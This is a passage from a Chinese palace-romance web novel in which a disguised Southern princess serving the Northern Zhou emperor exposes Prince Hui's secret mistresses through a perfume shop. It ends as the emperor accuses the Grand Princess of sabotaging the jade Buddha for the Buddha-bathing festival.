明熙眼睁睁的看着他提竿,一条大肥鱼在鱼钩上活蹦乱跳,连带着他手中的鱼竿都在摇晃。 “……这鱼这么好钓的吗?陛下莫非有什么秘方?” 想她从前在建业时也曾热衷于钓鱼,却是每每耗费大半日也不见一条鱼上钩的。 萧元彻道,“哪有什么法子?只是养在宫里的鱼每天有人喂,又无人钓,特别傻罢了,不然你也试试?” 说着把鱼竿递向她。 试试就试试。 明熙便将鱼竿接了过来,却见萧元彻还贴心的为她穿好蚯蚓,又指引她讲鱼钩抛在何处。 眼看鱼钩入了水,明熙便默默在心间倒数,一阵过后,便想提起来看。 哪晓得忽然伸过来一只手将竿按住,一个声音在她耳边响起道,“不要急,再等等。” 那低沉的声音就响在耳边,明熙下意识转头,却见萧元彻的那张俊脸已经近在她耳畔,她甚至已经能感觉他的鼻息。 离这么近做什么…… 她打算躲开,却听他道,“别动,小心惊到鱼。” 明熙,“……” 这样么?那只好先忍忍了。 然而他的鼻息就近在耳畔,尤其他出声时,甚至能感受到那厚实的胸膛在震动…… 正心猿意马间,却听萧元彻又道了声,“来了。” 说着便帮她提起竿来,明熙连忙看去,只见鱼钩上果然挂了条大鱼,竟比方才他钓的那条还大! “这么大!” 明熙立时被引了全部注意力,满脸惊喜道,“居然真是钓上来的!” 萧元彻被逗笑道,“不是钓上来的,难不成有人给你挂到鱼竿上的?” 呃…… 明熙有些心虚。 说实话,从前的确曾有过此种情形。 ——那时眼看她半日都钓不上来鱼,怕她发脾气,赵怀几个便悄悄潜进水中将鱼挂在她的鱼钩上哄她开心…… 所以从前她虽然钓过很多次鱼,但真材实料的,这是第一次。 明熙立时信心大增道,“奴婢想再钓一条试试。” “当然可以。” 萧元彻又帮她穿上蚯蚓,看她将鱼钩扔到水中,还悉心教导道,“不要急,当鱼竿发沉时,等待几息再提。” 明熙便照着做,耐住性子等了一阵,等再提竿,果然又钓到一条,虽然没有前次的大,却也很肥。 “真的有用!” 她愈发信心满满,甚至不惜亲自捏起蚯蚓穿到了鱼钩上,再度抛进水中。 却听萧元彻在旁问她,“从前可曾如此钓过?” 明熙想都没想道,“从来没有,这还是奴婢头一次接连钓到这么多鱼呢。” 话音落下,萧元彻略带失望的哦了一声。 但明熙此时注意力全在鱼竿上,并未注意。 只有萧元彻独自在心间叹息,她果然是将他忘了个干净,从前他明明也陪她钓过的。 只不过那时是她嚷着要钓鱼,他在旁充当看客,直到实在看不下去,才教了她。 等她终于钓上一条鱼后,也高兴的如同眼前一般。 …… 明熙不知身边人所想,只觉今日运气好极,接下来不过两刻钟的功夫,竟又接连掉了三四条鱼,眼看高寿抱来的木桶都被装得满满的,才终于停手。 “将这些送去膳房做成菜。今日午膳便吃全鱼宴吧。” 萧元彻发话,高寿立时应是,要指挥小太监去膳房送鱼。 哪知明熙赶紧道了声且慢,对萧元彻道,“陛下,这里头有一条红鲤鱼,就将其放了吧。有这么多鱼,也不缺这一条。” 萧元彻不解,“这么多鱼,为何偏偏要放了它?” 却见她道,“因为它长得好看啊,生的如此漂亮,还要 被入锅烹煮,岂不太残忍了些?” 萧元彻,“……有道理,那就放了吧。” 小太监应是,忙将那条红鲤鱼抱出重又投入了湖中。 萧元彻看了眼明熙,却是欲言又止。 ——他想问一问,他明明也很好看,打算刺杀他的时候,她有没有觉得残忍? …… 归功于膳房大厨们高超的技艺,这日晌午,明熙尝到了自己亲手钓上的鱼。 想来是那太液池水干净,肥鱼们肉质十分鲜嫩,无论红烧糖醋,还是清蒸酱焖,都别有滋味。 而待吃完午饭,她又带上前些天做好的梨花膏去了膳房。 此时正值膳房最清闲的时候,明熙才一露脸,凌霜便随她去了清净处。 “这是用上回的猪油做好的梨花膏,可以滋润肌肤,姑娘不妨试试。” 明熙将罐子放进凌霜手中,又压低声道,“洛州那边如何,凌雪可有回信?” 却见凌霜立时点头,“凌雪说的确有人前去打听此事,但许家夫妇已经搬走,并未叫他们找到。” 呵,竟然还真有人去问过? 明熙不由凝眉。 不必问,那去洛州打听她的,大抵又是萧元任那狗贼,只是他又如何会怀疑其她的身份? 难不成他曾见过她? 可不对,这狗贼分明一直在北周,连去建业当过质子的萧元彻都没看出她的端倪,这狗贼又如何见过她? 正思忖间,却见凌霜又急着道,“还有一事,那个惠王前几日曾派人在上京悄悄调查过那夜您出宫遇上安昌宗的事。” 明熙回神道,“我已经晓得了,那狗贼将此事告知了太后,险些叫我吃些苦头。” 什么? 凌霜立时气道,“那狗贼如此是何意?倘若真有什么把柄,合该直接去御前揭发您才是。为什么使这些肮脏手段?” 明熙道,“大抵是冲着乾明宫去的。” 她与那萧元任并无瓜葛,对方出此阴招,应是想激起太后与萧元彻母子间的矛盾罢了。 却听凌霜又道,“对了,关于那狗贼,还有件事。” 语罢瞧了瞧左右,趴在她耳边说了一通。 “这消息可确切?” 明熙听后不由挑眉。 却见凌霜点头,“凌雪您还信不过?既然送到咱们耳边,必定错不了。” 那倒也是。 明熙眼珠暗转一圈,而后,又与凌霜低语起来。 …… 哼,萧元任那狗东西找她麻烦,她自然也不能叫其好过! 第27章 陛下财大气粗! 归功于那日在寿安宫时太后的吩咐,接下来的日子,明熙以为浴佛节备花为名,每日可往返于司苑局,乾明宫,寿安宫,及将要举办浴佛礼的佛光殿之间,还能抽空与赵怀及凌霜碰头,甚是自由。 而宫外的凌雪也很有效率,没过多久,便将她想要的东西送了进来。 日暮时分,乾明宫内已经燃起了灯火。 “陛下,该用晚膳了。” 御书房外传来高寿的提醒,萧元彻搁笔起身,来到厅中,只见桌上已经备好了一桌菜肴,侍膳的宫人们候在一旁,独独不见明熙的身影。 大抵看出他的疑惑,高寿忙从旁道,“眼看几日后便是浴佛节,许姑娘这几日时常奔波于司苑局及佛光殿间,这会儿应是还没忙完。” 萧元彻颔了颔首,便要举箸。 正在此时,却见明熙打外头回来了。 “奴婢参见陛下。” 眼见她来到桌前行礼,萧元彻自是忙叫她平身,又问道,“可是才从司苑局回来?” 明熙道,“奴婢是打佛光殿回来的,那两株天竺红莲今日已经绽放,奴婢方才与人一同送去了寿安宫请太后过目,太后很是满意,又叫奴婢等将花送去了佛光殿。” “太后还交代奴婢向陛下传信,道是佛光殿已经预备妥当,待到佛诞日时,还请陛下亲自将玉佛请到殿中。” 萧元彻嗯了一声,“这等大事,朕自是不会忘记,稍后会亲去太后面前复命。” 说着顿了顿,又问道,“是什么香味?” 这话一出,高寿也道,“是啊,方才许姑娘进来时就闻到了,淡淡的,又很幽长,不知是什么花的香味?” 明熙道,“并非花香,是奴婢方才涂的手膏,这几日奴婢时常载花用土,手有些干裂,便用了些。” 原来是手膏。 这倒叫萧元彻想起一事,便同高寿道,“朕记得库中有几罐天宝霜,取来给念贞吧。” 天宝霜? 明熙不由一愣,却见高寿应是,立时去了乾明宫的内库,很快又返回,端着三只白色的瓷罐,朝她递了过来。 “听说这东西适合女子用,你且拿去擦手吧。” 萧元彻边吃饭边道。 明熙已经彻底愣住。 面前的瓷罐虽还未打开,她却也已经闻到了那股沙红姬的香味。 不错,这才是那产自波斯国,万金一两的沙红姬香,与上回在那上林苑时大长公主萧应澜香囊里的四季红截然不同。 而这天宝霜,正是用沙红姬油,安息雀脂,及其他十五味珍贵药材制成,乃是波斯国王室的护肤圣品,中原地带极少得见,无论南齐还是北周,都价值连城。 便是从前在建业,她也只能偶尔得到两罐,然后十分小心的用到来年,等安息国的时臣再向他们岁贡。 想来此物也应是这北周宫中的贡品,而这人,竟然叫她擦手用? ……该不会有什么陷阱吧? 她便小心道,“听说此物十分名贵,奴婢不敢僭越。” 从在上林苑时,满船的人都被那萧应澜唬住来看,这北周的贵妇应是无人用过此物,便是她前些日子在寿安宫,也未见太后用过…… 哪知萧元彻轻飘飘道,“没什么僭不僭越,这些东西搁在内库已经许久,你为宫中养花辛苦,拿去用便是。” 说着又道,“用完再叫高寿拿。” 明熙“……” 这样吗? 那……她可就不客气了。 “谢陛下隆恩。” 她将东西接了过来。 又见他道,“这阵子你也辛苦,今晚不必在此守着,先去歇息吧。” 明熙又应是,捧着天宝霜出了殿中。 待回到值房,才将东西放下,又见小林子来给她送膳了。 ——自打来了这乾明宫,她的膳食都是单独用的,每每都是四菜一汤,也多是她喜欢的口味,初时她还有些疑心,眼看吃了这么多天后,倒也习惯了。 只是今日她却顾不上吃饭,待小林子一走,立时关上门,先打开了一罐才得来的天宝霜。 嗯……鼻尖立时被馨香浸满。 又挖了一些奶黄色的膏体,细细涂于手上。 唔…… 细腻滋润,清透不油,令她在这北国干燥的气候中困顿了许久的肌肤终于得到了舒缓…… : 果真是好东西! 明熙立时决定,等会吃完饭后去洗个澡,再将这天宝霜往身上涂一遍。 ……反正那人说了,用完再找高寿要就是。 总归不是自己的东西,用着就是不心疼。 …… 夜深人静,就在明熙享受着天宝霜的滋润,美美进入梦乡之际,正殿中的萧元彻等来了卫谨的禀报。 “启禀陛下,自查探过您微服出宫之事后,惠王这几日又在与大长公主联络,虽未亲自登门探望,其府中人手以慰问之名,已经见过大长公主及其驸马四次。” 萧元彻嗯了一声,意料之中。 那萧元任既要以武安侯府挑事,那最容易入手的,便是眼下他与大长公主的矛盾。 “那就连大长公主府一起盯着。” 他岂会不知,他的这位姑母从不轻易吃亏,眼看浴佛节将至,未准会趁机做些什么。 “惠王南下的事呢?”萧元彻又问。 只听卫谨道,“现已查出惠王自南下回京时,除过为太府寺采办的货品,还曾私运了两船货物回来,说是给在各地过关时,均说是自己府上添置的布匹茶叶等物,但却没有运到京城,而是分别去了豫州及高平。” “两船的货物?” 萧元彻道,“可找到了具体去向?” 卫谨道,“惠王府在这两地都 有别院商铺,目前查出,这两船货物均存在两处库房中。” 萧元彻却道,“可曾想过,倘若是两船白银,会有多少数目?” 这叫卫谨一顿,“两船白银,少不得数百万两。” …… 剩下的问题,不必君王问,他已经想到了—— 而数百万两白银,已经能做许多事了。 就见君王道,“继续追查那两船货物的来源及去向,以及其各地产业账目。” 卫谨忙应是,又见萧元彻问道,“惠王南下时,除过各地商人,可还曾与其他什么人见过面?” 卫谨道,“目前查出惠王曾在临江时,与一些文人有过接触,曾与他们私下聚会,收受了一些字画文玩。” “文人……” 萧元彻不由沉吟。 要知道,南国那些文人多是士族出身,自打当初吴惟忠逼近建业,那些士族大多都跟着幼帝南逃去了益都,萧元任还能见谁? “可有那些文人具体名录?” 卫谨道,“只知有十余人左右,具体身份还在查实之中,不过有一个姓顾的,据说是南齐的状元郎出身,还很年轻。” 姓顾的,状元出身? 萧元彻脑海中立时浮现一个名字——顾秋长。 那人与他年纪相仿,出身建业几大世家之一的顾氏,与诏帝的皇后谢氏还是姑舅表亲。 那谢皇后还曾做媒,想叫明熙下嫁与他,但明熙不喜那人,诏帝又宠妹妹,这才作罢。 但那顾秋长,不是应该随家族跟着谢氏逃去了益都么?怎么又与萧元任见了面? …… 此前他一直疑惑,萧元任此前从未去过建业,究竟是从何处对明熙的身份起了疑,如今看来,难道是与那顾秋长有关? “传朕旨意。” 他道,“命南下大军查找一个叫顾秋长的人,找到之后,即刻带到上京来。” 卫谨忙应是,眼见要事已经禀报完毕,便打算告退。 哪晓得君王又道,“叫人去向波斯国去信,就说朕要买些上好的面脂香露,手膏之类的护肤之物,多多益善,只是不要惊动旁人。” 护,护肤品? 正满心紧张的卫大人愣了愣,才确认自己没有听错,短暂诧异过后,赶忙应了声是。 待退出殿中后,心间却不由暗想,如今的陛下,还真是有些不一样了。 而身后,萧元彻只当未看见方才卫谨目中的惊讶,敛起神思,继续批阅奏折。 ——好不容易等到她来到身边,又难得有她看上眼的东西,自然要管够才是。 ~~ 眼看浴佛节一日近过一日,献佛的花也都陆续开放,两日之后,明熙终于等到了想见的人。 时值上午,她捧着两盆才开的姚黄牡丹来到寿安宫,但见正殿门开着,里头隐约有说话声。 她悄声问门口值守的小太监,“不知今日来拜访太后的是哪位贵客?” 归功于先前在寿安宫的那些日子,众人与她都已是十分熟稔,小太监立时道,“回姑姑,是惠王妃前来拜见太后。” 明熙心间一定。 惠王妃张若锦,即那惠王萧元任的正妻,出身宁国侯府,与太后还沾着亲,身世十分显赫。 明熙从前在寿安宫时,曾听宫人们提及过,当年太后曾有意选惠王妃做儿媳,怎奈淑太妃趁萧元彻去建业时先去求了北周先帝的赐婚旨,将这位贵女抢给了惠王萧元任。 太后只能遗憾作罢。 张若锦与萧元任于三年前成婚,如今已育有两子。且至今,那惠王府里只有张若锦一位女主子,萧元任并无任何侧妃妾室。 在外人看来,夫妻十分恩爱和谐。 但个中滋味,只怕只有当事人自己才知。 …… 同守门的小太监点了点头,明熙便捧着花来到殿前台阶下。 看看时辰,将到太后礼佛的时间,这便意味着,殿中人待不了多久。 她将姚黄的叶片整理了一番,又给院中其他的几盆芍药浇了水,果然就见惠王妃从殿中起了身。 趁放下花浇的功夫,她快速将瑞香露涂于腕上, ——咳,其实前几日在萧元彻面前撒了谎。 那时她从佛光殿回去,萧元彻及高寿等人闻到的香味,并非来自什么手膏,而是前几日凌雪才送进来的秘制香露。 那香味取自她们南国特有的瑞香花,并不浓烈,却十分幽远且持久,且极其特别,特别到叫人一闻便难以忘记。 最要紧的,这是北国此前从没有的味道,如今也只有凌雪开在城南水街的那家芙蓉社才有。 须知那日她才从凌霜那里拿到,只在腕间试着涂了绿豆大的一点,便已经叫正殿里的人闻了出来。 足见效力有多好。 …… 此时,她就立在两盆牡丹旁,眼看惠王妃已经下了台阶,随着众人一道行礼。 姚黄牡丹整齐丰满,鹅黄花色与其他花截然不同,尤为光彩照人,自然吸引了惠王妃的目光。 “这是什么花?开得可真是好啊!” 明熙又屈膝道,“启禀王妃,此乃洛州姚黄牡丹,今早才开,奴婢才从司苑局搬来。” “怪道来时还没看见,” 惠王妃点了点头,又向她投来目光道,“前几次来都没瞧见你,你如今去了何处?” ——归功与前头的花朝宴,上巳节踏青等活动,如今萧氏宗室中的女眷们都已经记住了她。 加之惠王妃又时常进宫给太后请安,自然晓得她先前在寿安宫奉茶。 明熙便又道,“启禀王妃,奴婢如今奉太后之命在乾明宫当差。” 几句话间,瑞香香露的味道从衣袖间漫出,浸到了惠王妃的鼻尖。 就见惠王妃目中微微一顿,已经疑惑起来。 然偏在此时,太后也从殿中出了来,看见明熙身旁的两株姚黄后道,“今日这两株也开了,似乎比前几年开得好些。” 惠王妃自然又要奉承几句,“还是宫中水土好,每次来拜见娘娘,顺道还能一饱眼福,各种花真是看都看不过来。” 太后笑得满意,“前两天那几株天竺红莲也开了,哀家已经叫人送去了佛光殿,过几日浴佛节,你们都来,更能饱眼福。” 惠王妃应是,眼看太后抬步去往佛堂的方向,便再度行礼,往院门外走了。 明熙也随之向太后行礼,跟着出了院门。 此时,惠王妃就在她前方不远,几步过后,待来到清净处,便见对方顿住脚步,回身与她道,“姑娘留步,方才在太后面前不好开口,此时倒有个问题想问一问你。” 明熙低头应是,“请王妃直言。” 却听对方道,“方才闻见姑娘身上有股异香,似乎从前并未闻到过,不知是什么香味?” 明熙道,“王妃说的大抵是奴婢用的手脂,那是前些日子,奴婢随陛下微服时,从宫外买的,出自水街一家叫芙蓉社的脂粉店,香味确实有些与众不同,听说是什么瑞香花的味道。” “原来如此,” 惠王妃目中疑惑更盛了些,却与她笑道,“倒是我孤陋寡闻了。” 便领着婢女继续往宫门外走去。 明熙目送其出了视线,心间默默祝对方好运。 ——只要照着她给的地址去找,一定能找到其想要的答案的。 …… 马车渐渐驶离皇宫,车厢中,惠王妃张若锦已然凝起了眉头。 贴身丫鬟荷香不解道,“可是出了什么事?看您一脸心事的样子。” 既是心腹,张若锦也并未隐瞒,直道,“自前阵子起,殿下换下来的衣袍上总有一股奇异的香味,我查遍府中熏香也没有找到,方才却是找到了。” 荷香今日一直跟在她身边,闻言立时惊讶道,“王妃的意思,难不成王爷与方才那位姑娘……” “怎么可能?” 张若锦道,“那许念贞可是陛下的人,王爷便是再糊涂,也不可能去招惹她。” “那,难道是那芙蓉社?”荷香又问道。 不错。 张 若锦点了点头,而今只能去那叫芙蓉社的地方看看了。 她随即向车夫发话,“去城南水街。” …… 约莫两刻钟过后,马车已经到了地方。 张若锦及荷香落了地,没走几步,果然见到一家店门挂着招牌,上写着芙蓉社三个大字, 门脸看上去倒并不算大。 试着迈入其中,立时有一位年轻的女掌柜迎上来道,“恭迎二位娘子,咱们店中有各种脂粉螺黛,口脂香膏等。不知贵客想要什么?” 已在车上换下礼装的张若锦此时看上去只是个寻常贵妇人,一边环顾殿中,一边道,“随意看看,不知你们这都有什么特色.?” 那女掌柜立时介绍起来,“夫人可真是来着了,咱们店中的好物皆是别处买不到的,无论脂粉香膏,皆是从建业那边得来的秘方。” “就譬如这玉容膏,乃是以南海珍珠做粉,调入蜂蜜,桂花油等多种材料制成,涂在脸上,既细腻滋润,又能美白平皱。” 话音落下,却见张若锦兴致寥寥,且还在四处打量。 那女掌柜便又拿出一件唇脂道,“夫人不妨看看这件‘半透娇’,乃是以南国那边特有的紫香花为原料,涂到唇上,十分显气色。” 张若锦却道,“可还有旁的吗?比如手脂之类。” “那当然有。” 女掌柜又拿出一只白罐子与她道,“这可是咱们店独家的手脂,乃是用十余种药材香料,以及南边特有的瑞香花制成,不只滋润肌肤,香味还十分独特,涂到身上经久不散。” 说着还将罐子打开给她瞧,那似曾相识的味道立时涌入了张若锦鼻尖。 “咱们店中的用料都出自南边,因此数量有限,这款手脂近来卖的十分好,这可是最后几罐了。夫人别看咱们店不大,但王府里的贵人们都用咱们店里的东西呢。” 王府里的贵人们? 张若锦一顿,立时问道,“不知是哪个王府里的贵人?” 却见那女掌柜神秘一笑道,“具体哪座王府的,我也不是很清楚,只是晓得那几位贵人很是年轻,皆是天仙一样的容貌,腰肢柳条一样,肌肤嫩的能掐出水来!” “听口音,应也都是南边过来的,是专门找着咱们店来的。贵人们说,她们自小就用南边的方子护肤,上京本地的用着不习惯,且自打用了咱们店里的香膏玉露,更得王爷恩宠了。无论凤祥楼的金银珠宝,还是亲自打南边运来的绫罗绸缎,都是应有尽有,真是羡煞旁人。” …… 天知道,张若锦是如何稳住神色听完这话的。 虽则这店家未说是哪座王府,但须知这京城除过她们,便只有纪王府了。 那纪王乃是萧元任的叔叔,年轻时花天酒地,如今连床都已经下不来了,哪里还有本事去招架那些“贵人们”? 所以,这掌柜说的王爷还能是谁? 呵,好一个萧元任!平素一副坐怀不乱,清心寡欲的模样,府里的丫鬟都不多看一眼,原来背地里竟干着如此勾当? 还不止一个! …… 第二日午后,明熙便从凌霜那里得到了消息。 “惠王妃已经去过芙蓉社,听凌雪说完后连东西都没买就急着回了府,想来应该是明白了,只是不知能不能找到惠王那些外室。” 明熙一笑道,“倘若连这个都找不到,她索性就别当什么王妃了。最好再将惠王在外头的那些私库也捅给她。惠王妃性子烈,一旦知道夫君不仅在外养女子,还背着她存了许多银钱,必定不会善罢甘休。” 凌霜应好,又略有担心道,“那惠王毕竟是王爷,便是在外头养上几个外室,这大周的礼法恐怕也不能将其如何。” 明熙只挑眉,“倘若他的外室是出公差的时候弄回来的呢?这北周律法可严苛,便是王爷,以权谋私,也免不得要被参上几本。” 总之,一切全看惠王妃的了。 但愿她可给女子们争口气,别叫萧元任那狗贼太舒服。 …… 与凌霜告别后,明熙往乾明宫的方向走。 不想路到一半时,正碰上了赵怀。 赵怀所在的内府局掌管宫中仓储,祭祀,典礼等事务,眼看浴佛节将至,也很是忙碌。 但看其此时模样,似乎在专程等她一般。 待来到清净处,只见赵怀对她道,“有人暗中对浴佛节要用的那尊玉佛动了手脚,后日,姑娘可千万不要碰那尊佛像。” 第28章 向他扑去…… 什么,玉佛像被动了手脚? 乍听此言,明熙不由意外道,“你如何知道?” 却见赵怀道,“那尊玉佛像自打送去内府局,就一直存放在库房里,方才他们要将其送去乾明宫,拿出来时我刚好瞧见,那佛像的底部有碎裂纹路,分明是被人敲过的。” “那纹路极细,若非当时那佛像被装入了水晶盒中,我又刚好矮下身去取物,我也看不出。那裂纹很有些机簧,别看眼下还完整,放上一日,会越发严重。您可是御前女官,万一到时是您接手此物,那佛像又在您手中碎了,岂不是要叫他们赖上您?” “不错。” 明熙点了点头。 前几日将那尊佛像才送来时她也曾见过,雕得极为轻薄,放在太阳底下都能透光的那种。 越薄的玉器,越容易碎裂。 便是侥幸没有在人手中碎裂,等浴佛节时摆到那金盆中,用温水一浇,也难免不会碎…… 要知道,这北周举国信佛,浴佛节可是个极大的日子,而在这般要紧的日子里叫佛像出了事,罪过可就大了。 看来这作案之人目标很大啊…… 思及此,她忙又问赵怀,“可知道是谁干的?” 赵怀却摇头道,“我也是才发现此事,一时难猜凶手,不过内府局的库房看的极严,外人便是想进也进不去,此事只能是内府局自己人干的。” “罢了,” 明熙道,“谁干的也不关我们的事,也不必我们去查,不过这倒是个好机会,你随我去趟乾明宫,当面禀报那人。” 去乾明宫? 赵怀不由意外道,“姑娘的意思,是要将此事告诉周帝?” 却见明熙点了点头,“那是当然,如此一件能邀功的大事,岂能让别人白白得了去?经此一事,没准你可以当上内府局的总管副总管,在这宫中行走,岂不就方便多了?” 赵怀,“……” 他还当公主想起来了,看来仍是没有。 不过眼下公主不再急于刺杀那周帝,也算是件好事。 他便应了声好,随明熙去了乾明宫。 …… 第二日,浴佛节。 如明熙所说,北周是个奉佛之国,无论王孙及百姓,浴佛节都是极其重要的节日,而浴佛礼更是宫中极为重要的一项仪式。 辰时才至,文武群臣与朝中宗亲命妇皆已到达佛光殿,只见殿中已被隆重装扮,一众佛像皆换上新制的锦缎袈裟,佛前百花簇拥,芬芳逼人。 数十位高僧已在殿中趺坐,殿前亦已置好金盆及浴佛用的香汤。 少倾,又见太后携几位太妃驾临,众人纷纷行礼,只消等待君王将佛像亲迎至此,便可行浴佛礼。 须臾,却听不远处响起通传,“陛下请佛至……” 众人立时屈膝行礼,就见身着衮服的君王双手捧着一尊覆着红布的佛像,来到了殿前。 待君王脚步站定,立时有高僧上前相迎,萧元彻将佛像交于高僧手中,高僧揭下红包,一樽琉璃佛像立时出现在了众人面前。 那佛像做功极佳,清透明亮,栩栩如生,尤其佛像此时正存于水晶盒中,阳光落于其上,更显光彩夺目。 殿中立时响起一片惊叹—— “竟是琉璃佛像,实在贵重!陛下有心了!” “是啊!这尊佛像如此清净,定是极为用心之作!也足见陛下对今日之看重!” “陛下有心了!” …… 就连殿中高僧亦双手合十道,“佛曾有云,‘愿我来世得菩提时,身如琉璃,内外明彻,净无瑕秽。’有此琉 璃佛像,足见陛下之用心良苦,愿我佛佑我大周风调雨顺,百姓安康。” 众人纷纷附和,只有太后目中存着疑惑,不由看向萧元彻。 ——不是说好是玉佛像,怎的又成了琉璃的? 莫不是出了什么事? 但见萧元彻向她微微颔首,示意放心,而后又对高僧道,“多谢高僧佑我大周,吉时已到,还请行仪吧。” 高僧应是,便将佛像从水晶盒中取出,置于金盆之上。 一时间,殿中钟鼓齐鸣,众人都肃穆起来。 高僧向金盆中的佛像上了香,又行了九拜大礼,而后,便舀起一旁的香汤,小心淋到佛像上。 香汤淋过三次,再以清水重沐,最后又用丝帛将佛像擦拭干净,奉上了佛台,一种高僧一同唱起颂词,并绕佛行走…… 说起来,今日作为佛家大节,宫中也依照佛家众生平等之礼,除过各部值守的宫人,命其余众人都前来观礼进香。 此时宫人们分立大殿两侧,明熙作为御前女官,有幸站在萧元彻近前。 作为一个自小生在崇道之国的人,她亦是头一回见识了这浴佛礼。 眼看高僧唱罢颂词,身为君王的萧元彻率先上前进香祝祷。 明熙的目光难以避免的随众人一道,落在了他身上。 果然应了那句好马配好鞍,不得不说,这身玄金冕服,还是得他这般高大身材才撑得起来。 切看那笔挺的腰身,宽阔的前襟,冠冕上的旒珠轻微摇晃间,已经尽显君主的威严。 悄悄欣赏一番美男英姿后,明熙又将目光投向一旁—— 说起来,自惠王妃去芙蓉社也已经有几日了,却不知查得如何? 但见惠王妃面色暗沉,气色不佳,想来这几日应是没有睡好。 须知生气伤身,熬夜伤神,与其折磨自己,还不如狠狠治一下那恶心的男人来得痛快。 明熙如此暗想一番,就见惠王夫妻俩上前敬香了。 那萧元任一身亲王蟒服,神色肃穆,着实称得上人模狗样,但见眼下微微透着青色,便知这几日定然也没闲着。 如此一来,惠王妃可不就面色不好了么。 张若锦啊张若锦,你堂堂侯府嫡女,当朝王妃,三年来日夜为这狗男人的操持家业,还接连为其诞下两个孩子,熬坏了自己的身子,又怎能看着这狗男人出去快活? 明熙暗自在心间替惠王妃鼓了一番劲,就见那夫妇俩已经上完了香,将要退下了。 然就在此时,却见惠王妃将脚步一顿,开口道,“难得逢佛诞盛会,宗亲及文武群臣齐聚,臣妇想向太后及陛下求一个恩典。” 嗯? 明熙不由眼睛一亮,惠王妃这是要出手了? 却见太后道,“什么恩典?不妨直说。” 却见惠王妃道,“自打臣妇过门,惠王殿下便对臣妇十分疼爱与信任,臣妇心间感激不尽,只是如今府中接连添了两个幼子,臣妇如今既要照顾孩儿,又要料理府中事务,唯恐冷落殿下,因此,臣妇想为殿下再娶几位侧室,以好照顾殿下日常起居。” 什么?惠王妃竟然主动要为惠王娶侧室? 这样的妻子,天底下实不多见啊! 一时间,殿中不少男子都露出羡慕神色。 女子们则都满脸意外,大家在京中这么多年,谁不知惠王妃最是心高气傲,如今居然主动提出为夫君娶妾? 这怕不是出了什么事? “这孩子,真是难为你为惠王着想,” 却见其婆母淑太妃笑道,“惠王娶到你这样的贤妻,可真是上辈子修来的福气。” 说着还上前亲昵的拍了拍儿媳的事,既表示赞许,又明显的带上了些显摆的意味。 一旁看戏的明熙很想告诉对方,此时高兴,只怕有些太早。 不明真相的太后也颔首道,“难得你有此心胸,等过了今日,哀家就让宗正为惠王留意京中良家女子。” “不必麻烦宗正了,” 太后话音才落,却见惠王妃又笑道,“其实殿下已有心仪的几位姑娘,只是怕妾身不喜,一直在安置在外,如今就求宗正给她们个名分,都接到府里来吧。如此,殿下也不必每日奔波了。” 什么? 惠王在外头养了人 还几个…… 这话中包含要素太多,众人互相看看,无不目露惊讶。 却见萧元任急忙道,“若锦……” 哪知惠王妃却抢在他前头道,“王爷不必担心,妾身岂是那等小肚鸡肠之人?前些日子也是妾身疏忽了,若非那几位妹妹主动找上门,还不知道要委屈您到什么时候?” 漂亮! 明熙简直要给惠王妃拍掌。 这才对嘛! 既要把这衣冠禽兽的嘴脸给扒出来公之于众,又要把自己的责任撇干净。 惠王妃果然没有辜负她的信任。 然再看看殿中的其他人,淑太妃明显慌了神,忙又上前道,“这孩子说得什么话?惠王岂会如此?怕不是有什么误会?” 太后却看向惠王道,“若锦说得是,倘若有中意的,同她商量就是,做什么在外头偷偷养着?” “这是误会,母后。” 萧元任忙道,“不过是儿臣前几日救助了几个流落在外的贫家女子,暂时给她们找了住处而已,绝非偷偷在外养的什么,过几日就将她们送回家乡。” 说着又看向惠王妃道,“不要多心,本王绝不会背着你做那等事。眼下礼还未成,还是先叫其他人上来吧。” 说着便赶紧拉着她退到了一旁。 见此情景,众人欲言又止,皆是一脸意犹未尽的模样—— 看惠王妃的模样,就知此事不是什么误会,这才开了头却就如此打住,实在叫人心痒痒啊…… 离明熙不远处的地方,赵怀向她投来了目光。 明熙轻阖了下眼皮,表示这个结果已在预料之中。 毕竟事情还未严重到要惠王妃鱼死网破的程度,她这个王妃还是要做下去的,今日此番不过为警告惠王而已,毕竟娘家还在,太后也还在,她轻描淡写的提上一句,惠王也并不能拿她如何。 但明熙可不能叫这件事如此轻描淡写的过去。 此时叫惠王妃撕开萧元任的遮羞布,正好。 当然,今日还有重头戏。 眼看殿中众人一一上前敬过香,今年的浴佛礼即将圆满落下帷幕。 就在众人准备打道回府之际,却见一身冕服的萧元彻忽然又开口道,“诸位有所不知,其实今次宫中准备的原本是一尊白玉佛像,然而就在昨日佛像到达乾明宫前,有人暗中对其动了手脚,致使佛像有破碎之兆,为保今日大礼顺利进行,朕便临时择了这尊琉璃佛像。” 这话一出,殿中众人皆大吃一惊。 太后也忙道,“哀家还奇怪,陛下原本说好的白玉佛像,今日怎么换成了这尊琉璃的,没想到竟是出了这样的大事!却不知是何人如此?竟然敢对佛像行凶,简直十恶不赦!” 话音落下,众人也纷纷附和起来—— “太后所言极是!此必是穷凶极恶之徒才能做出恶事!却不知是因何动手,有何目的?” “浴佛节时破坏佛像,简直居心叵测,莫不会是敌国奸细妄图毁我国运?” 一旁看戏的明熙,“???” 真是谢谢这位慷慨激昂的老大人了,这样的事,她这个敌国奸细还真做不出来。 毕竟与其冒着风险费尽心机的破坏一尊佛像,还不如直行刺萧元彻实用些。 当然,此事还是她前日引着赵怀去向萧元彻禀报的,查办的过程她也亲自在旁观看,自是比这些不知情的人清楚,真凶到底是谁。 她试着看向不远处,只见大长公主萧应澜的面色已经不自在起来。 不知情的太后正气愤发话,“一定要给哀家好好审办,务必找出真凶!能下此毒手者,绝不能轻饶。” 萧元彻忙安慰道,“母后莫要着急,幸亏 发现及时,朕前夜已命人找到了内府局的凶手,内廷监审了一夜,已经审出了些线索。距凶手交代,其是受人指使。” 这话一出,众人立时又议论起来,“究竟是何人指使凶手做出如此大逆不道之事?” “难道对方与我大周有天大的仇恨不成?” 太后也急道,“那幕后主使究竟是谁?目的又是什么?” 却见萧元彻道,“至于目的如何,还是叫她自己说吧。” 说着便将目光投向人群中的大长公主萧应澜,道,“姑母,据内府局副掌事郑顺交代,是你府上的人先以重金收买,又用其家人之命来威胁,命他对玉佛动的手脚。” 什么? 这话一出,殿中众人无不看向大长公主萧应澜。 却见萧应澜立时道,“陛下莫不是在玩笑?我连这人是谁都不知,如何叫他对佛像动手?这么大的事,可千万莫要冤枉好人!” 萧元彻却也并未着急,只道,“朕也觉得奇怪,于公而言,姑母乃是大周的大长公主,高祖皇帝之长女,先皇的长姐,您必定是希望大周国泰民安的,又如何能做出这等大逆不道,唯恐惹怒上苍之事?” 